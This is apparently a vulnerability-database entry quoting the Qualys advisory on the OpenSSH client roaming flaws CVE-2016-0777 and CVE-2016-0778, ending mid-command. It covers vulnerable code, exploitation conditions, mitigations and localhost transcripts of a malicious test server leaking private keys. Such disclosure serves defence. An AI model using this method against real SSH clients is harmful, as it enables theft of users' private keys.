Hewlett Packard Enterprise shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett Packard Enterprise and the names of Hewlett Packard Enterprise products referenced herein are trademarks of Hewlett Packard Enterprise in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners

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    "data": "The resend_bytes function in roaming_common.c in the client in OpenSSH 5.x, 6.x, and 7.x before 7.1p2 allows remote servers to obtain sensitive information from process memory by requesting transmission of an entire buffer, as demonstrated by reading a private key. OpenSSH client code versions 5.4 through 7.1p1 contains a client information leak vulnerability that could allow an OpenSSH client to leak information not limited to but including private keys, as well as a buffer overflow in certain non-default configurations. OpenSSH is prone to a heap-based buffer-overflow vulnerability. \nSuccessful exploits may allow attackers to execute arbitrary code in the  context of the affected application. Failed attacks will cause  denial-of-service conditions. \nSuccessfully exploiting this issue allows attackers to obtain sensitive information that may aid in further attacks. OpenSSH (OpenBSD Secure Shell) is a set of connection tools for securely accessing remote computers maintained by the OpenBSD project team. This tool is an open source implementation of the SSH protocol, supports encryption of all transmissions, and can effectively prevent eavesdropping, connection hijacking, and other network-level attacks. The following versions are affected: OpenSSH 5.x, 6.x, 7.x prior to 7.1p2. \nQualys Security Advisory\n\nRoaming through the OpenSSH client: CVE-2016-0777 and CVE-2016-0778\n\n\n========================================================================\nContents\n========================================================================\n\nSummary\nInformation Leak (CVE-2016-0777)\n- Analysis\n- Private Key Disclosure\n- Mitigating Factors\n- Examples\nBuffer Overflow (CVE-2016-0778)\n- Analysis\n- Mitigating Factors\n- File Descriptor Leak\nAcknowledgments\nProof Of Concept\n\n\n========================================================================\nSummary\n========================================================================\n\nSince version 5.4 (released on March 8, 2010), the OpenSSH client\nsupports an undocumented feature called roaming: if the connection to an\nSSH server breaks unexpectedly, and if the server supports roaming as\nwell, the client is able to reconnect to the server and resume the\nsuspended SSH session. This information leak may have already been exploited in\nthe wild by sophisticated attackers, and high-profile sites or users may\nneed to regenerate their SSH keys accordingly. \n\nThe buffer overflow, on the other hand, is present in the default\nconfiguration of the OpenSSH client but its exploitation requires two\nnon-default options: a ProxyCommand, and either ForwardAgent (-A) or\nForwardX11 (-X). This buffer overflow is therefore unlikely to have any\nreal-world impact, but provides a particularly interesting case study. \n\nAll OpenSSH versions between 5.4 and 7.1 are vulnerable, but can be\neasily hot-fixed by setting the undocumented option \"UseRoaming\" to\n\"no\", as detailed in the Mitigating Factors section. OpenSSH version\n7.1p2 (released on January 14, 2016) disables roaming by default. \n\n\n========================================================================\nInformation Leak (CVE-2016-0777)\n========================================================================\n\n------------------------------------------------------------------------\nAnalysis\n------------------------------------------------------------------------\n\nIf the OpenSSH client connects to an SSH server that offers the key\nexchange algorithm \"resume@appgate.com\", it sends the global request\n\"roaming@appgate.com\" to the server, after successful authentication. If\nthis request is accepted, the client allocates a roaming buffer out_buf,\nby calling malloc() (and not calloc()) with an out_buf_size that is\narbitrarily chosen by the server:\n\n 63 void\n 64 roaming_reply(int type, u_int32_t seq, void *ctxt)\n 65 {\n 66         if (type == SSH2_MSG_REQUEST_FAILURE) {\n 67                 logit(\"Server denied roaming\");\n 68                 return;\n 69         }\n 70         verbose(\"Roaming enabled\");\n .. \n 75         set_out_buffer_size(packet_get_int() + get_snd_buf_size());\n .. \n 77 }\n\n 40 static size_t out_buf_size = 0;\n 41 static char *out_buf = NULL;\n 42 static size_t out_start;\n 43 static size_t out_last;\n .. \n 75 void\n 76 set_out_buffer_size(size_t size)\n 77 {\n 78         if (size == 0 || size \u003e MAX_ROAMBUF)\n 79                 fatal(\"%s: bad buffer size %lu\", __func__, (u_long)size);\n 80         /*\n 81          * The buffer size can only be set once and the buffer will live\n 82          * as long as the session lives. \n 83          */\n 84         if (out_buf == NULL) {\n 85                 out_buf_size = size;\n 86                 out_buf = xmalloc(size);\n 87                 out_start = 0;\n 88                 out_last = 0;\n 89         }\n 90 }\n\nThe OpenSSH client\u0027s roaming_write() function, a simple wrapper around\nwrite(), calls wait_for_roaming_reconnect() to transparently reconnect\nto the SSH server after a disconnection. It also calls buf_append() to\ncopy the data sent to the server into the roaming buffer out_buf. During\na reconnection, the client is therefore able to resend the data that was\nnot received by the server because of the disconnection:\n\n198 void\n199 resend_bytes(int fd, u_int64_t *offset)\n200 {\n201         size_t available, needed;\n202\n203         if (out_start \u003c out_last)\n204                 available = out_last - out_start;\n205         else\n206                 available = out_buf_size;\n207         needed = write_bytes - *offset;\n208         debug3(\"resend_bytes: resend %lu bytes from %llu\",\n209             (unsigned long)needed, (unsigned long long)*offset);\n210         if (needed \u003e available)\n211                 fatal(\"Needed to resend more data than in the cache\");\n212         if (out_last \u003c needed) {\n213                 int chunkend = needed - out_last;\n214                 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend,\n215                     chunkend);\n216                 atomicio(vwrite, fd, out_buf, out_last);\n217         } else {\n218                 atomicio(vwrite, fd, out_buf + (out_last - needed), needed);\n219         }\n220 }\n\nIn the OpenSSH client\u0027s roaming buffer out_buf, the most recent data\nsent to the server begins at index out_start and ends at index out_last. \nAs soon as this circular buffer is full, buf_append() maintains the\ninvariant \"out_start = out_last + 1\", and consequently three different\ncases have to be considered:\n\n- \"out_start \u003c out_last\" (lines 203-204): out_buf is not full yet (and\n  out_start is still equal to 0), and the amount of data available in\n  out_buf is indeed \"out_last - out_start\";\n\n- \"out_start \u003e out_last\" (lines 205-206): out_buf is full (and out_start\n  is exactly equal to \"out_last + 1\"), and the amount of data available\n  in out_buf is indeed the entire out_buf_size;\n\n- \"out_start == out_last\" (lines 205-206): no data was ever written to\n  out_buf (and both out_start and out_last are still equal to 0) because\n  no data was ever sent to the server after roaming_reply() was called,\n  but the client sends (leaks) the entire uninitialized out_buf to the\n  server (line 214), as if out_buf_size bytes of data were available. \n\nIn order to successfully exploit this information leak and retrieve\nsensitive information from the OpenSSH client\u0027s memory (for example,\nprivate SSH keys, or memory addresses useful for further exploitation),\na malicious server needs to:\n\n- Massage the client\u0027s heap before roaming_reply() malloc()ates out_buf,\n  and force malloc() to return a previously free()d but uncleansed chunk\n  of sensitive information. The simple proof-of-concept in this advisory\n  does not implement heap massaging. \n\n- Guess the client\u0027s get_snd_buf_size() in order to precisely control\n  out_buf_size. OpenSSH \u003c 6.0 accepts out_buf sizes in the range (0,4G),\n  and OpenSSH \u003e= 6.0 accepts sizes in the range (0,2M]. Sizes smaller\n  than get_snd_buf_size() are attainable because roaming_reply() does\n  not protect \"packet_get_int() + get_snd_buf_size()\" against integer\n  wraparound. The proof-of-concept in this advisory attempts to derive\n  the client\u0027s get_snd_buf_size() from the get_recv_buf_size() sent by\n  the client to the server, and simply chooses a random out_buf_size. \n\n- Advise the client\u0027s resend_bytes() that all \"available\" bytes (the\n  entire out_buf_size) are \"needed\" by the server, even if fewer bytes\n  were actually written by the client to the server (because the server\n  controls the \"*offset\" argument, and resend_bytes() does not protect\n  \"needed = write_bytes - *offset\" against integer wraparound). \n\nFinally, a brief digression on a minor bug in resend_bytes(): on 64-bit\nsystems, where \"chunkend\" is a 32-bit signed integer, but \"out_buf\" and\n\"out_buf_size\" are 64-bit variables, \"out_buf + out_buf_size - chunkend\"\nmay point out-of-bounds, if chunkend is negative (if out_buf_size is in\nthe [2G,4G) range). This negative chunkend is then converted to a 64-bit\nsize_t greater than SSIZE_MAX when passed to atomicio(), and eventually\nreturns EFAULT when passed to write() (at least on Linux and OpenBSD),\nthus avoiding an out-of-bounds read from the OpenSSH client\u0027s memory. \n\n------------------------------------------------------------------------\nPrivate Key Disclosure\n------------------------------------------------------------------------\n\nWe initially believed that this information leak in the OpenSSH client\u0027s\nroaming code would not allow a malicious SSH server to steal the\nclient\u0027s private keys, because:\n\n- the information leaked is not read from out-of-bounds memory, but from\n  a previously free()d chunk of memory that is recycled to malloc()ate\n  the client\u0027s roaming buffer out_buf;\n\n- private keys are loaded from disk into memory and freed by key_free()\n  (old API, OpenSSH \u003c 6.7) or sshkey_free() (new API, OpenSSH \u003e= 6.7),\n  and both functions properly cleanse the private keys\u0027 memory with\n  OPENSSL_cleanse() or explicit_bzero();\n\n- temporary copies of in-memory private keys are freed by buffer_free()\n  (old API) or sshbuf_free() (new API), and both functions attempt to\n  cleanse these copies with memset() or bzero(). \n\nHowever, we eventually identified three reasons why, in our experiments,\nwe were able to partially or completely retrieve the OpenSSH client\u0027s\nprivate keys through this information leak (depending on the client\u0027s\nversion, compiler, operating system, heap layout, and private keys):\n\n(besides these three reasons, other reasons may exist, as suggested by\nthe CentOS and Fedora examples at the end of this section)\n\n1. If a private SSH key is loaded from disk into memory by fopen() (or\nfdopen()), fgets(), and fclose(), a partial or complete copy of this\nprivate key may remain uncleansed in memory. Indeed, these functions\nmanage their own internal buffers, and whether these buffers are\ncleansed or not depends on the OpenSSH client\u0027s libc (stdio)\nimplementation, but not on OpenSSH itself. \n\n- In all vulnerable OpenSSH versions, SSH\u0027s main() function calls\n  load_public_identity_files(), which loads the client\u0027s public keys\n  with fopen(), fgets(), and fclose(). Unfortunately, the private keys\n  (without the \".pub\" suffix) are loaded first and then discarded, but\n  nonetheless buffered in memory by the stdio functions. \n\n- In OpenSSH versions \u003c= 5.6, the load_identity_file() function (called\n  by the client\u0027s public-key authentication method) loads a private key\n  with fdopen() and PEM_read_PrivateKey(), an OpenSSL function that uses\n  fgets() and hence internal stdio buffering. \n\nInternal stdio buffering is the most severe of the three problems\ndiscussed in this section, although GNU/Linux is not affected because\nthe glibc mmap()s and munmap()s (and therefore cleanses) stdio buffers. \nBSD-based systems, on the other hand, are severely affected because they\nsimply malloc()ate and free() stdio buffers. For interesting comments on\nthis issue:\n\nhttps://www.securecoding.cert.org/confluence/display/c/MEM06-C.+Ensure+that+sensitive+data+is+not+written+out+to+disk\n\n2. In OpenSSH versions \u003e= 5.9, the client\u0027s load_identity_file()\nfunction (called by the public-key authentication method) read()s a\nprivate key in 1024-byte chunks that are appended to a growing buffer (a\nrealloc()ating buffer) with buffer_append() (old API) or sshbuf_put()\n(new API). Unfortunately, the repeated calls to realloc() may leave\npartial copies of the private key uncleansed in memory. \n\n- In OpenSSH \u003c 6.7 (old API), the initial size of such a growing buffer\n  is 4096 bytes: if a private-key file is larger than 4K, a partial copy\n  of this private key may remain uncleansed in memory (a 3K copy in a 4K\n  buffer). Fortunately, only the file of a very large RSA key (for\n  example, an 8192-bit RSA key) can exceed 4K. \n\n- In OpenSSH \u003e= 6.7 (new API), the initial size of a growing buffer is\n  256 bytes: if a private-key file is larger than 1K (the size passed to\n  read()), a partial copy of this private key may remain uncleansed in\n  memory (a 1K copy in a 1K buffer). For example, the file of a\n  default-sized 2048-bit RSA key exceeds 1K. \n\nFor more information on this issue:\n\nhttps://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources\n\nhttps://cwe.mitre.org/data/definitions/244.html\n\n3. An OpenSSH growing-buffer that holds a private key is eventually\nfreed by buffer_free() (old API) or sshbuf_free() (new API), and both\nfunctions attempt to cleanse the buffer with memset() or bzero() before\nthey call free(). Unfortunately, an optimizing compiler may remove this\nmemset() or bzero() call, because the buffer is written to, but never\nagain read from (an optimization known as Dead Store Elimination). \n\nOpenSSH 6.6 is the only version that is not affected, because it calls\nexplicit_bzero() instead of memset() or bzero(). \n\nDead Store Elimination is the least severe of the three problems\nexplored in this section, because older GCC versions do not remove the\nmemset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5\nand Clang/LLVM do, however, remove it. For detailed discussions of this\nissue:\n\nhttps://www.securecoding.cert.org/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations\n\nhttps://cwe.mitre.org/data/definitions/14.html\n\nhttps://sourceware.org/ml/libc-alpha/2014-12/threads.html#00506\n\nFinally, for these three reasons, passphrase-encrypted SSH keys are\nleaked in their encrypted form, but an attacker may attempt to crack the\npassphrase offline. On the other hand, SSH keys that are available only\nthrough an authentication agent are never leaked, in any form. The vulnerable roaming code can be permanently disabled by adding the\nundocumented option \"UseRoaming no\" to the system-wide configuration\nfile (usually /etc/ssh/ssh_config), or per-user configuration file\n(~/.ssh/config), or command-line (-o \"UseRoaming no\"). \n\n2. If an OpenSSH client is disconnected from an SSH server that offers\nroaming, it prints \"[connection suspended, press return to resume]\" on\nstderr, and waits for \u0027\\n\u0027 or \u0027\\r\u0027 on stdin (and not on the controlling\nterminal) before it reconnects to the server; advanced users may become\nsuspicious and press Control-C or Control-Z instead, thus avoiding the\ninformation leak:\n\n# \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n[connection suspended, press return to resume]^Z\n[1]+  Stopped                 /usr/bin/ssh -p 222 127.0.0.1\n\nHowever, SSH commands that use the local stdin to transfer data to the\nremote server are bound to trigger this reconnection automatically (upon\nreading a \u0027\\n\u0027 or \u0027\\r\u0027 from stdin). Moreover, these non-interactive SSH\ncommands (for example, backup scripts and cron jobs) commonly employ\npublic-key authentication and are therefore perfect targets for this\ninformation leak:\n\n$ ls -l /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 \"cat \u003e /tmp/passwd.ls\"\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\n\n$ tar -cf - /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 \"cat \u003e /tmp/passwd.tar\"\ntar: Removing leading `/\u0027 from member names\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n... \n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\n\nSimilarly, the SCP client uses the SSH client\u0027s stdin and stdout to\ntransfer data, and can be forced by a malicious SSH server to output a\ncontrol record that ends in \u0027\\n\u0027 (an error message in server-to-client\nmode, or file permissions in client-to-server mode); this \u0027\\n\u0027 is then\nread from stdin by the fgetc() call in wait_for_roaming_reconnect(), and\ntriggers an automatic reconnection that allows the information leak to\nbe exploited without user interaction:\n\n# env ROAMING=\"scp_mode sleep:1\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/scp -P 222 127.0.0.1:/etc/passwd /tmp\n$ [connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\n\n$ /usr/bin/scp -P 222 /etc/passwd 127.0.0.1:/tmp\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\nlost connection\n\n3. Although a man-in-the-middle attacker can reset the TCP connection\nbetween an OpenSSH client and an OpenSSH server (which does not support\nroaming), it cannot exploit the information leak without breaking server\nhost authentication or integrity protection, because it needs to:\n\n- first, append the \"resume@appgate.com\" algorithm name to the server\u0027s\n  initial key exchange message;\n\n- second, in response to the client\u0027s \"roaming@appgate.com\" request,\n  change the server\u0027s reply from failure to success. \n\nIn conclusion, an attacker who wishes to exploit this information leak\nmust convince its target OpenSSH client to connect to a malicious server\n(an unlikely scenario), or compromise a trusted server (a more likely\nscenario, for a determined attacker). \n\n4. In the client, wait_for_roaming_reconnect()\ncalls ssh_connect(), the same function that successfully established the\nfirst connection to the server; this function supports four different\nconnection methods, but each method contains a bug and may fail to\nestablish a second connection to the server:\n\n- In OpenSSH \u003e= 6.5 (released on January 30, 2014), the default\n  ssh_connect_direct() method (a simple TCP connection) is called by\n  wait_for_roaming_reconnect() with a NULL aitop argument, which makes\n  it impossible for the client to reconnect to the server:\n\n 418 static int\n 419 ssh_connect_direct(const char *host, struct addrinfo *aitop,\n ... \n 424         int sock = -1, attempt;\n 425         char ntop[NI_MAXHOST], strport[NI_MAXSERV];\n ... \n 430         for (attempt = 0; attempt \u003c connection_attempts; attempt++) {\n ... \n 440                 for (ai = aitop; ai; ai = ai-\u003eai_next) {\n ... \n 470                 }\n 471                 if (sock != -1)\n 472                         break;  /* Successful connection. */\n 473         }\n 474\n 475         /* Return failure if we didn\u0027t get a successful connection. */\n 476         if (sock == -1) {\n 477                 error(\"ssh: connect to host %s port %s: %s\",\n 478                     host, strport, strerror(errno));\n 479                 return (-1);\n 480         }\n\n  Incidentally, this error() call displays stack memory from the\n  uninitialized strport[] array, a byproduct of the NULL aitop:\n\n$ /usr/bin/ssh -V\nOpenSSH_6.8, LibreSSL 2.1\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n\n- The special ProxyCommand \"-\" communicates with the server through the\n  client\u0027s stdin and stdout, but these file descriptors are close()d by\n  packet_backup_state() at the beginning of wait_for_roaming_reconnect()\n  and are never reopened again, making it impossible for the client to\n  reconnect to the server. Moreover, the fgetc() that waits for \u0027\\n\u0027 or\n  \u0027\\r\u0027 on the closed stdin returns EOF and forces the client to exit():\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ /usr/bin/nc -e \"/usr/bin/ssh -o ProxyCommand=- -p 222 127.0.0.1\" 127.0.0.1 222\nPseudo-terminal will not be allocated because stdin is not a terminal. \nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][exiting]\n\n- The method ssh_proxy_fdpass_connect() fork()s a ProxyCommand that\n  passes a connected file descriptor back to the client, but it calls\n  fatal() while reconnecting to the server, because waitpid() returns\n  ECHILD; indeed, the SIGCHLD handler (installed by SSH\u0027s main() after\n  the first successful connection to the server) calls waitpid() before\n  ssh_proxy_fdpass_connect() does:\n\n1782 static void\n1783 main_sigchld_handler(int sig)\n1784 {\n.... \n1789         while ((pid = waitpid(-1, \u0026status, WNOHANG)) \u003e 0 ||\n1790             (pid \u003c 0 \u0026\u0026 errno == EINTR))\n1791                 ;\n1792\n1793         signal(sig, main_sigchld_handler);\n.... \n1795 }\n\n 101 static int\n 102 ssh_proxy_fdpass_connect(const char *host, u_short port,\n 103     const char *proxy_command)\n 104 {\n ... \n 121         /* Fork and execute the proxy command. */\n 122         if ((pid = fork()) == 0) {\n ... \n 157         }\n 158         /* Parent. */\n ... \n 167         while (waitpid(pid, NULL, 0) == -1)\n 168                 if (errno != EINTR)\n 169                         fatal(\"Couldn\u0027t wait for child: %s\", strerror(errno));\n\n$ /usr/bin/ssh -V\nOpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015\n\n$ /usr/bin/ssh -o ProxyUseFdpass=yes -o ProxyCommand=\"/usr/bin/nc -F %h %p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume]Couldn\u0027t wait for child: No child processes\n\n- The method ssh_proxy_connect() fork()s a standard ProxyCommand that\n  connects the client to the server, but if a disconnection occurs, and\n  the SIGCHLD of the terminated ProxyCommand is caught while fgetc() is\n  waiting for a \u0027\\n\u0027 or \u0027\\r\u0027 on stdin, EOF is returned (the underlying\n  read() returns EINTR) and the client exit()s before it can reconnect\n  to the server:\n\n$ /usr/bin/ssh -V\nOpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014\n\n$ /usr/bin/ssh -o ProxyCommand=\"/bin/nc %h %p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][exiting]\n\n  This behavior is intriguing, because (at least on Linux and BSD) the\n  signal() call that installed the main_sigchld_handler() is supposed to\n  be equivalent to a sigaction() call with SA_RESTART. However, portable\n  versions of OpenSSH override signal() with mysignal(), a function that\n  calls sigaction() without SA_RESTART. \n\n  This last mitigating factor is actually a race-condition bug that\n  depends on the ProxyCommand itself: for example, the client never\n  fails to reconnect to the server when using Socat as a ProxyCommand,\n  but fails occasionally when using Netcat. \n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: FreeBSD 10.0, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nFreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr\nqlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T\nM3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0\n9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd\na3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD\nzzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+\neIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE\nw3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk\noayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc\nbvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C\nvcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW\nhZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW\nbc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd\nmuzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP\nwn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF\niKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw\nsj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme\nvOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi\n/rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE\nK+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr\n+7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n\nUxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7\nqsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11\n1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV\npmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs=\n-----END RSA PRIVATE KEY-----\n\n# env ROAMING=\"client_out_buf_size:1280\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-97ed9f59/infoleak\nMIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr\nqlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T\nM3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0\n9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd\na3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD\nzzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+\neIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE\nw3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk\noayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc\nbvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C\nvcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW\nhZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW\nbc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd\nmuzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP\nwn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF\niKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw\nsj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: FreeBSD 9.2, 1024-bit DSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nFreeBSD 9.2-RELEASE (GENERIC) #0 r255898: Fri Sep 27 03:52:52 UTC 2013\n\n$ /usr/bin/ssh -V\nOpenSSH_6.2p2, OpenSSL 0.9.8y 5 Feb 2013\n\n$ cat ~/.ssh/id_dsa\n-----BEGIN DSA PRIVATE KEY-----\nMIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP\ngrGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe\n4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY\n8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw\noM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP\nIeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4\ncRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+\niUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To\nzEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh\nPHatTfiy5p82Q8+TD60=\n-----END DSA PRIVATE KEY-----\n\n# env ROAMING=\"client_out_buf_size:768\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-9448bb7f/infoleak\nMIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP\ngrGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe\n4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY\n8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw\noM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP\nIeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4\ncRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+\niUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To\n... \n\n# env ROAMING=\"client_out_buf_size:1024\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o 